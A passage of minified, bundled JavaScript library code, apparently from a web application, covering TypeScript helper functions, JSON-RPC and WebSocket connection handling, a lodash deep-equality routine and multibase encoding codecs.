t,n=e[Symbol.asyncIterator];return n?n.call(e):(e="function"==typeof ml?ml(e):e[Symbol.iterator](),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,o){i(r,o,(t=e[n](t)).done,t.value)}))}}function i(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)}}function Il(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}function Rl(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}function kl(e){return e&&e.__esModule?e:{default:e}}function Cl(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)}function Pl(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}var Al,Nl=r(Object.freeze({__proto__:null,__extends:ul,get __assign(){return cl},__rest:ll,__decorate:fl,__param:hl,__metadata:dl,__awaiter:pl,__generator:gl,__createBinding:yl,__exportStar:vl,__values:ml,__read:_l,__spread:bl,__spreadArrays:wl,__await:El,__asyncGenerator:Sl,__asyncDelegator:Ol,__asyncValues:xl,__makeTemplateObject:Il,__importStar:Rl,__importDefault:kl,__classPrivateFieldGet:Cl,__classPrivateFieldSet:Pl})),Tl={};function Ml(){if(Al)return Tl;function e(){return t?.crypto||t?.msCrypto||{}}function n(){const t=e();return t.subtle||t.webkitSubtle}function r(){return!!e()&&!!n()}return Al=1,Object.defineProperty(Tl,"__esModule",{value:!0}),Tl.isBrowserCryptoAvailable=Tl.getSubtleCrypto=Tl.getBrowerCrypto=void 0,Tl.getBrowerCrypto=e,Tl.getSubtleCrypto=n,Tl.isBrowserCryptoAvailable=r,Tl}var Ll,jl={};function Ul(){if(Ll)return jl;function e(){return typeof document>"u"&&typeof navigator<"u"&&"ReactNative"===navigator.product}function t(){return typeof process<"u"&&typeof process.versions<"u"&&typeof process.versions.node<"u"}function n(){return!e()&&!t()}return Ll=1,Object.defineProperty(jl,"__esModule",{value:!0}),jl.isBrowser=jl.isNode=jl.isReactNative=void 0,jl.isReactNative=e,jl.isNode=t,jl.isBrowser=n,jl}function Dl(e=3){return Date.now()*Math.pow(10,e)+Math.floor(Math.random()*Math.pow(10,e))}function zl(e=6){return BigInt(Dl(e))}function Fl(e,t,n){return{id:n||Dl(),jsonrpc:"2.0",method:e,params:t}}function Bl(e,t){return{id:e,jsonrpc:"2.0",result:t}}function Hl(e,t,n){return{id:e,jsonrpc:"2.0",error:ql(t,n)}}function ql(e,t){return typeof e>"u"?rl(Jc):("string"==typeof e&&(e=Object.assign(Object.assign({},rl(Xc)),{message:e})),typeof t<"u"&&(e.data=t),nl(e.code)&&(e=il(e.code)),e)}!function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=Nl;t.__exportStar(Ml(),e),t.__exportStar(Ul(),e)}(sl);class Vl{}class $l extends Vl{constructor(){super()}}class Wl extends $l{constructor(e){super()}}const Kl="^https?:",Gl="^wss?:";function Yl(e){const t=e.match(new RegExp(/^\w+:/,"gi"));if(t&&t.length)return t[0]}function Ql(e,t){const n=Yl(e);return!(typeof n>"u")&&new RegExp(t).test(n)}function Jl(e){return Ql(e,Kl)}function Xl(e){return Ql(e,Gl)}function Zl(e){return new RegExp("wss?://localhost(:d{2,5})?").test(e)}function ef(e){return"object"==typeof e&&"id"in e&&"jsonrpc"in e&&"2.0"===e.jsonrpc}function tf(e){return ef(e)&&"method"in e}function nf(e){return ef(e)&&(rf(e)||of(e))}function rf(e){return"result"in e}function of(e){return"error"in e}class sf extends Wl{constructor(e){super(e),this.events=new o.exports.EventEmitter,this.hasRegisteredEventListeners=!1,this.connection=this.setConnection(e),this.connection.connected&&this.registerEventListeners()}async connect(e=this.connection){await this.open(e)}async disconnect(){await this.close()}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}off(e,t){this.events.off(e,t)}removeListener(e,t){this.events.removeListener(e,t)}async request(e,t){return this.requestStrict(Fl(e.method,e.params||[],e.id||zl().toString()),t)}async requestStrict(e,t){return new Promise((async(n,r)=>{if(!this.connection.connected)try{await this.open()}catch(e){r(e)}this.events.on(`${e.id}`,(e=>{of(e)?r(e.error):n(e.result)}));try{await this.connection.send(e,t)}catch(e){r(e)}}))}setConnection(e=this.connection){return e}onPayload(e){this.events.emit("payload",e),nf(e)?this.events.emit(`${e.id}`,e):this.events.emit("message",{type:e.method,data:e.params})}onClose(e){e&&3e3===e.code&&this.events.emit("error",new Error(`WebSocket connection closed abnormally with code: ${e.code} ${e.reason?`(${e.reason})`:""}`)),this.events.emit("disconnect")}async open(e=this.connection){this.connection===e&&this.connection.connected||(this.connection.connected&&this.close(),"string"==typeof e&&(await this.connection.open(e),e=this.connection),this.connection=this.setConnection(e),await this.connection.open(),this.registerEventListeners(),this.events.emit("connect"))}async close(){await this.connection.close()}registerEventListeners(){this.hasRegisteredEventListeners||(this.connection.on("payload",(e=>this.onPayload(e))),this.connection.on("close",(e=>this.onClose(e))),this.connection.on("error",(e=>this.events.emit("error",e))),this.connection.on("register_error",(e=>this.onClose())),this.hasRegisteredEventListeners=!0)}}const af=()=>typeof WebSocket<"u"||typeof l<"u"&&typeof l.WebSocket<"u"||typeof window<"u"&&typeof window.WebSocket<"u"||typeof self<"u"&&typeof self.WebSocket<"u",uf=e=>e.split("?")[0],cf=10,lf=typeof WebSocket<"u"?WebSocket:typeof l<"u"&&typeof l.WebSocket<"u"?l.WebSocket:typeof window<"u"&&typeof window.WebSocket<"u"?window.WebSocket:typeof self<"u"&&typeof self.WebSocket<"u"?self.WebSocket:kc?Rc:(kc=1,Rc=function(){throw new Error("ws does not work in the browser. Browser clients must use the native WebSocket object")});class ff{constructor(e){if(this.url=e,this.events=new o.exports.EventEmitter,this.registering=!1,!Xl(e))throw new Error(`Provided URL is not compatible with WebSocket connection: ${e}`);this.url=e}get connected(){return typeof this.socket<"u"}get connecting(){return this.registering}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}off(e,t){this.events.off(e,t)}removeListener(e,t){this.events.removeListener(e,t)}async open(e=this.url){await this.register(e)}async close(){return new Promise(((e,t)=>{typeof this.socket>"u"?t(new Error("Connection already closed")):(this.socket.onclose=t=>{this.onClose(t),e()},this.socket.close())}))}async send(e,t){typeof this.socket>"u"&&(this.socket=await this.register());try{this.socket.send(sr(e))}catch(t){this.onError(e.id,t)}}register(e=this.url){if(!Xl(e))throw new Error(`Provided URL is not compatible with WebSocket connection: ${e}`);if(this.registering){const e=this.events.getMaxListeners();return(this.events.listenerCount("register_error")>=e||this.events.listenerCount("open")>=e)&&this.events.setMaxListeners(e+1),new Promise(((e,t)=>{this.events.once("register_error",(e=>{this.resetMaxListeners(),t(e)})),this.events.once("open",(()=>{if(this.resetMaxListeners(),typeof this.socket>"u")return t(new Error("WebSocket connection is missing or invalid"));e(this.socket)}))}))}return this.url=e,this.registering=!0,new Promise(((t,n)=>{const r=sl.isReactNative()?void 0:{rejectUnauthorized:!Zl(e)},i=new lf(e,[],r);af()?i.onerror=e=>{const t=e;n(this.emitError(t.error))}:i.on("error",(e=>{n(this.emitError(e))})),i.onopen=()=>{this.onOpen(i),t(i)}}))}onOpen(e){e.onmessage=e=>this.onPayload(e),e.onclose=e=>this.onClose(e),this.socket=e,this.registering=!1,this.events.emit("open")}onClose(e){this.socket=void 0,this.registering=!1,this.events.emit("close",e)}onPayload(e){if(typeof e.data>"u")return;const t="string"==typeof e.data?or(e.data):e.data;this.events.emit("payload",t)}onError(e,t){const n=this.parseError(t),r=Hl(e,n.message||n.toString());this.events.emit("payload",r)}parseError(e,t=this.url){return ol(e,uf(t),"WS")}resetMaxListeners(){this.events.getMaxListeners()>cf&&this.events.setMaxListeners(cf)}emitError(e){const t=this.parseError(new Error(e?.message||`WebSocket connection failed for host: ${uf(this.url)}`));return this.events.emit("register_error",t),t}}var hf={exports:{}};!function(e,n){var r=200,i="__lodash_hash_undefined__",o=1,s=2,a=9007199254740991,u="[object Arguments]",c="[object Array]",l="[object AsyncFunction]",f="[object Boolean]",h="[object Date]",d="[object Error]",p="[object Function]",g="[object GeneratorFunction]",y="[object Map]",v="[object Number]",m="[object Null]",_="[object Object]",b="[object Promise]",w="[object Proxy]",E="[object RegExp]",S="[object Set]",O="[object String]",x="[object Symbol]",I="[object Undefined]",R="[object WeakMap]",k="[object ArrayBuffer]",C="[object DataView]",P="[object Float64Array]",A="[object Int8Array]",N="[object Int16Array]",T="[object Int32Array]",M="[object Uint8Array]",L="[object Uint8ClampedArray]",j="[object Uint16Array]",U="[object Uint32Array]",D=/[\\^$.*+?()[\]{}|]/g,z=/^\[object .+?Constructor\]$/,F=/^(?:0|[1-9]\d*)$/,B={};B["[object Float32Array]"]=B[P]=B[A]=B[N]=B[T]=B[M]=B[L]=B[j]=B[U]=!0,B[u]=B[c]=B[k]=B[f]=B[C]=B[h]=B[d]=B[p]=B[y]=B[v]=B[_]=B[E]=B[S]=B[O]=B[R]=!1;var H="object"==typeof t&&t&&t.Object===Object&&t,q="object"==typeof self&&self&&self.Object===Object&&self,V=H||q||Function("return this")(),$=n&&!n.nodeType&&n,W=$&&e&&!e.nodeType&&e,K=W&&W.exports===$,G=K&&H.process,Y=function(){try{return G&&G.binding&&G.binding("util")}catch{}}(),Q=Y&&Y.isTypedArray;function J(e,t){for(var n=-1,r=null==e?0:e.length,i=0,o=[];++n<r;){var s=e[n];t(s,n,e)&&(o[i++]=s)}return o}function X(e,t){for(var n=-1,r=t.length,i=e.length;++n<r;)e[i+n]=t[n];return e}function Z(e,t){for(var n=-1,r=null==e?0:e.length;++n<r;)if(t(e[n],n,e))return!0;return!1}function ee(e,t){for(var n=-1,r=Array(e);++n<e;)r[n]=t(n);return r}function te(e){return function(t){return e(t)}}function ne(e,t){return e.has(t)}function re(e,t){return e?.[t]}function ie(e){var t=-1,n=Array(e.size);return e.forEach((function(e,r){n[++t]=[r,e]})),n}function oe(e,t){return function(n){return e(t(n))}}function se(e){var t=-1,n=Array(e.size);return e.forEach((function(e){n[++t]=e})),n}var ae=Array.prototype,ue=Function.prototype,ce=Object.prototype,le=V["__core-js_shared__"],fe=ue.toString,he=ce.hasOwnProperty,de=function(){var e=/[^.]+$/.exec(le&&le.keys&&le.keys.IE_PROTO||"");return e?"Symbol(src)_1."+e:""}(),pe=ce.toString,ge=RegExp("^"+fe.call(he).replace(D,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$"),ye=K?V.Buffer:void 0,ve=V.Symbol,me=V.Uint8Array,_e=ce.propertyIsEnumerable,be=ae.splice,we=ve?ve.toStringTag:void 0,Ee=Object.getOwnPropertySymbols,Se=ye?ye.isBuffer:void 0,Oe=oe(Object.keys,Object),xe=It(V,"DataView"),Ie=It(V,"Map"),Re=It(V,"Promise"),ke=It(V,"Set"),Ce=It(V,"WeakMap"),Pe=It(Object,"create"),Ae=Lt(xe),Ne=Lt(Ie),Te=Lt(Re),Me=Lt(ke),Le=Lt(Ce),je=ve?ve.prototype:void 0,Ue=je?je.valueOf:void 0;function De(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}function ze(){this.__data__=Pe?Pe(null):{},this.size=0}function Fe(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t}function Be(e){var t=this.__data__;if(Pe){var n=t[e];return n===i?void 0:n}return he.call(t,e)?t[e]:void 0}function He(e){var t=this.__data__;return Pe?void 0!==t[e]:he.call(t,e)}function qe(e,t){var n=this.__data__;return this.size+=this.has(e)?0:1,n[e]=Pe&&void 0===t?i:t,this}function Ve(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}function $e(){this.__data__=[],this.size=0}function We(e){var t=this.__data__,n=ht(t,e);return!(n<0||(n==t.length-1?t.pop():be.call(t,n,1),--this.size,0))}function Ke(e){var t=this.__data__,n=ht(t,e);return n<0?void 0:t[n][1]}function Ge(e){return ht(this.__data__,e)>-1}function Ye(e,t){var n=this.__data__,r=ht(n,e);return r<0?(++this.size,n.push([e,t])):n[r][1]=t,this}function Qe(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}function Je(){this.size=0,this.__data__={hash:new De,map:new(Ie||Ve),string:new De}}function Xe(e){var t=xt(this,e).delete(e);return this.size-=t?1:0,t}function Ze(e){return xt(this,e).get(e)}function et(e){return xt(this,e).has(e)}function tt(e,t){var n=xt(this,e),r=n.size;return n.set(e,t),this.size+=n.size==r?0:1,this}function nt(e){var t=-1,n=null==e?0:e.length;for(this.__data__=new Qe;++t<n;)this.add(e[t])}function rt(e){return this.__data__.set(e,i),this}function it(e){return this.__data__.has(e)}function ot(e){var t=this.__data__=new Ve(e);this.size=t.size}function st(){this.__data__=new Ve,this.size=0}function at(e){var t=this.__data__,n=t.delete(e);return this.size=t.size,n}function ut(e){return this.__data__.get(e)}function ct(e){return this.__data__.has(e)}function lt(e,t){var n=this.__data__;if(n instanceof Ve){var i=n.__data__;if(!Ie||i.length<r-1)return i.push([e,t]),this.size=++n.size,this;n=this.__data__=new Qe(i)}return n.set(e,t),this.size=n.size,this}function ft(e,t){var n=Dt(e),r=!n&&Ut(e),i=!n&&!r&&Ft(e),o=!n&&!r&&!i&&Wt(e),s=n||r||i||o,a=s?ee(e.length,String):[],u=a.length;for(var c in e)(t||he.call(e,c))&&(!s||!("length"==c||i&&("offset"==c||"parent"==c)||o&&("buffer"==c||"byteLength"==c||"byteOffset"==c)||Pt(c,u)))&&a.push(c);return a}function ht(e,t){for(var n=e.length;n--;)if(jt(e[n][0],t))return n;return-1}function dt(e,t,n){var r=t(e);return Dt(e)?r:X(r,n(e))}function pt(e){return null==e?void 0===e?I:m:we&&we in Object(e)?Rt(e):Mt(e)}function gt(e){return $t(e)&&pt(e)==u}function yt(e,t,n,r,i){return e===t||(null==e||null==t||!$t(e)&&!$t(t)?e!=e&&t!=t:vt(e,t,n,r,yt,i))}function vt(e,t,n,r,i,s){var a=Dt(e),l=Dt(t),f=a?c:Ct(e),h=l?c:Ct(t),d=(f=f==u?_:f)==_,p=(h=h==u?_:h)==_,g=f==h;if(g&&Ft(e)){if(!Ft(t))return!1;a=!0,d=!1}if(g&&!d)return s||(s=new ot),a||Wt(e)?wt(e,t,n,r,i,s):Et(e,t,f,n,r,i,s);if(!(n&o)){var y=d&&he.call(e,"__wrapped__"),v=p&&he.call(t,"__wrapped__");if(y||v){var m=y?e.value():e,b=v?t.value():t;return s||(s=new ot),i(m,b,n,r,s)}}return!!g&&(s||(s=new ot),St(e,t,n,r,i,s))}function mt(e){return!(!Vt(e)||Nt(e))&&(Ht(e)?ge:z).test(Lt(e))}function _t(e){return $t(e)&&qt(e.length)&&!!B[pt(e)]}function bt(e){if(!Tt(e))return Oe(e);var t=[];for(var n in Object(e))he.call(e,n)&&"constructor"!=n&&t.push(n);return t}function wt(e,t,n,r,i,a){var u=n&o,c=e.length,l=t.length;if(c!=l&&!(u&&l>c))return!1;var f=a.get(e);if(f&&a.get(t))return f==t;var h=-1,d=!0,p=n&s?new nt:void 0;for(a.set(e,t),a.set(t,e);++h<c;){var g=e[h],y=t[h];if(r)var v=u?r(y,g,h,t,e,a):r(g,y,h,e,t,a);if(void 0!==v){if(v)continue;d=!1;break}if(p){if(!Z(t,(function(e,t){if(!ne(p,t)&&(g===e||i(g,e,n,r,a)))return p.push(t)}))){d=!1;break}}else if(g!==y&&!i(g,y,n,r,a)){d=!1;break}}return a.delete(e),a.delete(t),d}function Et(e,t,n,r,i,a,u){switch(n){case C:if(e.byteLength!=t.byteLength||e.byteOffset!=t.byteOffset)return!1;e=e.buffer,t=t.buffer;case k:return!(e.byteLength!=t.byteLength||!a(new me(e),new me(t)));case f:case h:case v:return jt(+e,+t);case d:return e.name==t.name&&e.message==t.message;case E:case O:return e==t+"";case y:var c=ie;case S:var l=r&o;if(c||(c=se),e.size!=t.size&&!l)return!1;var p=u.get(e);if(p)return p==t;r|=s,u.set(e,t);var g=wt(c(e),c(t),r,i,a,u);return u.delete(e),g;case x:if(Ue)return Ue.call(e)==Ue.call(t)}return!1}function St(e,t,n,r,i,s){var a=n&o,u=Ot(e),c=u.length;if(c!=Ot(t).length&&!a)return!1;for(var l=c;l--;){var f=u[l];if(!(a?f in t:he.call(t,f)))return!1}var h=s.get(e);if(h&&s.get(t))return h==t;var d=!0;s.set(e,t),s.set(t,e);for(var p=a;++l<c;){var g=e[f=u[l]],y=t[f];if(r)var v=a?r(y,g,f,t,e,s):r(g,y,f,e,t,s);if(!(void 0===v?g===y||i(g,y,n,r,s):v)){d=!1;break}p||(p="constructor"==f)}if(d&&!p){var m=e.constructor,_=t.constructor;m!=_&&"constructor"in e&&"constructor"in t&&!("function"==typeof m&&m instanceof m&&"function"==typeof _&&_ instanceof _)&&(d=!1)}return s.delete(e),s.delete(t),d}function Ot(e){return dt(e,Kt,kt)}function xt(e,t){var n=e.__data__;return At(t)?n["string"==typeof t?"string":"hash"]:n.map}function It(e,t){var n=re(e,t);return mt(n)?n:void 0}function Rt(e){var t=he.call(e,we),n=e[we];try{e[we]=void 0;var r=!0}catch{}var i=pe.call(e);return r&&(t?e[we]=n:delete e[we]),i}De.prototype.clear=ze,De.prototype.delete=Fe,De.prototype.get=Be,De.prototype.has=He,De.prototype.set=qe,Ve.prototype.clear=$e,Ve.prototype.delete=We,Ve.prototype.get=Ke,Ve.prototype.has=Ge,Ve.prototype.set=Ye,Qe.prototype.clear=Je,Qe.prototype.delete=Xe,Qe.prototype.get=Ze,Qe.prototype.has=et,Qe.prototype.set=tt,nt.prototype.add=nt.prototype.push=rt,nt.prototype.has=it,ot.prototype.clear=st,ot.prototype.delete=at,ot.prototype.get=ut,ot.prototype.has=ct,ot.prototype.set=lt;var kt=Ee?function(e){return null==e?[]:(e=Object(e),J(Ee(e),(function(t){return _e.call(e,t)})))}:Gt,Ct=pt;function Pt(e,t){return!!(t=t??a)&&("number"==typeof e||F.test(e))&&e>-1&&e%1==0&&e<t}function At(e){var t=typeof e;return"string"==t||"number"==t||"symbol"==t||"boolean"==t?"__proto__"!==e:null===e}function Nt(e){return!!de&&de in e}function Tt(e){var t=e&&e.constructor;return e===("function"==typeof t&&t.prototype||ce)}function Mt(e){return pe.call(e)}function Lt(e){if(null!=e){try{return fe.call(e)}catch{}try{return e+""}catch{}}return""}function jt(e,t){return e===t||e!=e&&t!=t}(xe&&Ct(new xe(new ArrayBuffer(1)))!=C||Ie&&Ct(new Ie)!=y||Re&&Ct(Re.resolve())!=b||ke&&Ct(new ke)!=S||Ce&&Ct(new Ce)!=R)&&(Ct=function(e){var t=pt(e),n=t==_?e.constructor:void 0,r=n?Lt(n):"";if(r)switch(r){case Ae:return C;case Ne:return y;case Te:return b;case Me:return S;case Le:return R}return t});var Ut=gt(function(){return arguments}())?gt:function(e){return $t(e)&&he.call(e,"callee")&&!_e.call(e,"callee")},Dt=Array.isArray;function zt(e){return null!=e&&qt(e.length)&&!Ht(e)}var Ft=Se||Yt;function Bt(e,t){return yt(e,t)}function Ht(e){if(!Vt(e))return!1;var t=pt(e);return t==p||t==g||t==l||t==w}function qt(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=a}function Vt(e){var t=typeof e;return null!=e&&("object"==t||"function"==t)}function $t(e){return null!=e&&"object"==typeof e}var Wt=Q?te(Q):_t;function Kt(e){return zt(e)?ft(e):bt(e)}function Gt(){return[]}function Yt(){return!1}e.exports=Bt}(hf,hf.exports);var df=hf.exports,pf=Object.defineProperty,gf=Object.getOwnPropertySymbols,yf=Object.prototype.hasOwnProperty,vf=Object.prototype.propertyIsEnumerable,mf=(e,t,n)=>t in e?pf(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,_f=(e,t)=>{for(var n in t||(t={}))yf.call(t,n)&&mf(e,n,t[n]);if(gf)for(var n of gf(t))vf.call(t,n)&&mf(e,n,t[n]);return e};function bf(e,t){if(e.length>=255)throw new TypeError("Alphabet too long");for(var n=new Uint8Array(256),r=0;r<n.length;r++)n[r]=255;for(var i=0;i<e.length;i++){var o=e.charAt(i),s=o.charCodeAt(0);if(255!==n[s])throw new TypeError(o+" is ambiguous");n[s]=i}var a=e.length,u=e.charAt(0),c=Math.log(a)/Math.log(256),l=Math.log(256)/Math.log(a);function f(t){if(t instanceof Uint8Array||(ArrayBuffer.isView(t)?t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength):Array.isArray(t)&&(t=Uint8Array.from(t))),!(t instanceof Uint8Array))throw new TypeError("Expected Uint8Array");if(0===t.length)return"";for(var n=0,r=0,i=0,o=t.length;i!==o&&0===t[i];)i++,n++;for(var s=(o-i)*l+1>>>0,c=new Uint8Array(s);i!==o;){for(var f=t[i],h=0,d=s-1;(0!==f||h<r)&&-1!==d;d--,h++)f+=256*c[d]>>>0,c[d]=f%a>>>0,f=f/a>>>0;if(0!==f)throw new Error("Non-zero carry");r=h,i++}for(var p=s-r;p!==s&&0===c[p];)p++;for(var g=u.repeat(n);p<s;++p)g+=e.charAt(c[p]);return g}function h(e){if("string"!=typeof e)throw new TypeError("Expected String");if(0===e.length)return new Uint8Array;var t=0;if(" "!==e[t]){for(var r=0,i=0;e[t]===u;)r++,t++;for(var o=(e.length-t)*c+1>>>0,s=new Uint8Array(o);e[t];){var l=n[e.charCodeAt(t)];if(255===l)return;for(var f=0,h=o-1;(0!==l||f<i)&&-1!==h;h--,f++)l+=a*s[h]>>>0,s[h]=l%256>>>0,l=l/256>>>0;if(0!==l)throw new Error("Non-zero carry");i=f,t++}if(" "!==e[t]){for(var d=o-i;d!==o&&0===s[d];)d++;for(var p=new Uint8Array(r+(o-d)),g=r;d!==o;)p[g++]=s[d++];return p}}}function d(e){var n=h(e);if(n)return n;throw new Error(`Non-${t} character`)}return{encode:f,decodeUnsafe:h,decode:d}}var wf=bf;const Ef=e=>{if(e instanceof Uint8Array&&"Uint8Array"===e.constructor.name)return e;if(e instanceof ArrayBuffer)return new Uint8Array(e);if(ArrayBuffer.isView(e))return new Uint8Array(e.buffer,e.byteOffset,e.byteLength);throw new Error("Unknown type, must be binary type")},Sf=e=>(new TextEncoder).encode(e),Of=e=>(new TextDecoder).decode(e);class xf{constructor(e,t,n){this.name=e,this.prefix=t,this.baseEncode=n}encode(e){if(e instanceof Uint8Array)return`${this.prefix}${this.baseEncode(e)}`;throw Error("Unknown type, must be binary type")}}class If{constructor(e,t,n){if(this.name=e,this.prefix=t,void 0===t.codePointAt(0))throw new Error("Invalid prefix character");this.prefixCodePoint=t.codePointAt(0),this.baseDecode=n}decode(e){if("string"==typeof e){if(e.codePointAt(0)!==this.prefixCodePoint)throw Error(`Unable to decode multibase string ${JSON.stringify(e)}, ${this.name} decoder only supports inputs prefixed with ${this.prefix}`);return this.baseDecode(e.slice(this.prefix.length))}throw Error("Can only multibase decode strings")}or(e){return kf(this,e)}}class Rf{constructor(e){this.decoders=e}or(e){return kf(this,e)}decode(e){const t=e[0],n=this.decoders[t];if(n)return n.decode(e);throw RangeError(`Unable to decode multibase string ${JSON.stringify(e)}, only inputs prefixed with ${Object.keys(this.decoders)} are supported`)}}const kf=(e,t)=>new Rf(_f(_f({},e.decoders||{[e.prefix]:e}),t.decoders||{[t.prefix]:t}));class Cf{constructor(e,t,n,r){this.name=e,this.prefix=t,this.baseEncode=n,this.baseDecode=r,this.encoder=new xf(e,t,n),this.decoder=new If(e,t,r)}encode(e){return this.encoder.encode(e)}decode(e){return this.decoder.decode(e)}}const Pf=({name:e,prefix:t,encode:n,decode:r})=>new Cf(e,t,n,r),Af=({prefix:e,name:t,alphabet:n})=>{const{encode:r,decode:i}=wf(n,t);return Pf({prefix:e,name:t,encode:r,decode:e=>Ef(i(e))})},Nf=(e,t,n,r)=>{const i={};for(let e=0;e<t.length;++e)i[t[e]]=e;let o=e.length;for(;"="===e[o-1];)--o;const s=new Uint8Array(o*n/8|0);let a=0,u=0,c=0;for(let t=0;t<o;++t){const o=i[e[t]];if(void 0===o)throw new SyntaxError(`Non-${r} character`);u=u<<n|o,a+=n,a>=8&&(a-=8,s[c++]=255&u>>a)}if(a>=n||255&u<<8-a)throw new SyntaxError("Unexpected end of data");return s},Tf=(e,t,n)=>{const r="="===t[t.length-1],i=(1<<n)-1;let o="",s=0,a=0;for(let r=0;r<e.length;++r)for(a=a<<8|e[r],s+=8;s>n;)s-=n,o+=t[i&a>>s];if(s&&(o+=t[i&a<<n-s]),r)for(;o.length*n&7;)o+="=";return o},Mf=({name:e,prefix:t,bitsPerChar:n,alphabet:r})=>Pf({prefix:t,name:e,encode:e=>Tf(e,r,n),decode:t=>Nf(t,r,n,e)}),Lf=Pf({prefix:"\0",name:"identity",encode:e=>Of(e),decode:e=>Sf(e)});var jf=Object.freeze({__proto__:null,identity:Lf});const Uf=Mf({prefix:"0",name:"base2",alphabet:"01",bitsPerChar:1});var Df=Object.freeze({__proto__:null,base2:Uf});const zf=Mf({prefix:"7",name:"base8",alphabet:"01234567",bitsPerChar:3});var Ff=Object.freeze({__proto__:null,base8:zf});const Bf=Af({prefix:"9",name:"base10",alphabet:"0123456789"});var Hf=Object.freeze({__proto__:null,base10:Bf});const qf=Mf({prefix:"f",name:"base16",alphabet:"0123456789abcdef",bitsPerChar:4}),Vf=Mf({prefix:"F",name:"base16upper",alphabet:"0123456789ABCDEF",bitsPerChar:4});var $f=Object.freeze({__proto__:null,base16:qf,base16upper:Vf});const Wf=Mf({prefix:"b",name:"base32",alphabet:"abcdefghijklmnopqrstuvwxyz234567",bitsPerChar:5}),Kf=Mf({prefix:"B",name:"base32upper",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567",bitsPerChar:5}),Gf=Mf({prefix:"c",name:"base32pad",alphabet:"abcdefghijklmnopqrstuvwxyz234567=",bitsPerChar:5}),Yf=Mf({prefix:"C",name:"base32padupper",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=",bitsPerChar:5}),Qf=Mf({prefix:"v",name:"base32hex",alphabet:"0123456789abcdefghijklmnopqrstuv",bitsPerChar:5}),Jf=Mf({prefix:"V",name:"base32hexupper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUV",bitsPerChar:5}),Xf=Mf({prefix:"t",name:"base32hexpad",alphabet:"0123456789abcdefghijklmnopqrstuv=",bitsPerChar:5}),Zf=Mf({prefix:"T",name:"base32hexpadupper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUV=",bitsPerChar:5}),eh=Mf({prefix:"h",name:"base32z",alphabet:"ybndrfg8ejkmcpqxot1uwisza345h769",bitsPerChar:5});var th=Object.freeze({__proto__:null,base32:Wf,base32upper:Kf,base32pad:Gf,base32padupper:Yf,base32hex:Qf,base32hexupper:Jf,base32hexpad:Xf,base32hexpadupper:Zf,base32z:eh});const nh=Af({prefix:"k",name:"base36",alphabet:"0123456789abcdefghijklmnopqrstuvwxyz"}),rh=Af({prefix:"K",name:"base36upper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"});var ih=Object.freeze({__proto__:null,base36:nh,base36upper:rh});const oh=Af({name:"base58btc",prefix:"z",alphabet:"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"}),sh=Af({name:"base58flickr",prefix:"Z",alphabet:"123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"});var ah=Object.freeze({__proto__:null,base58btc:oh,base58flickr:sh});const uh=Mf({prefix:"m",name:"base64",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",bitsPerChar:6}),ch=Mf({prefix:"M",name:"base64pad",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",bitsPerChar:6}),lh=Mf({prefix:"u",name:"base64url",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_",bitsPerChar:6}),fh=Mf({prefix:"U",name:"base64urlpad",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=",bitsPerChar:6});var hh=Object.freeze({__proto__:null,base64:uh,base64pad:ch,base64url:lh,base64urlpad:fh});const 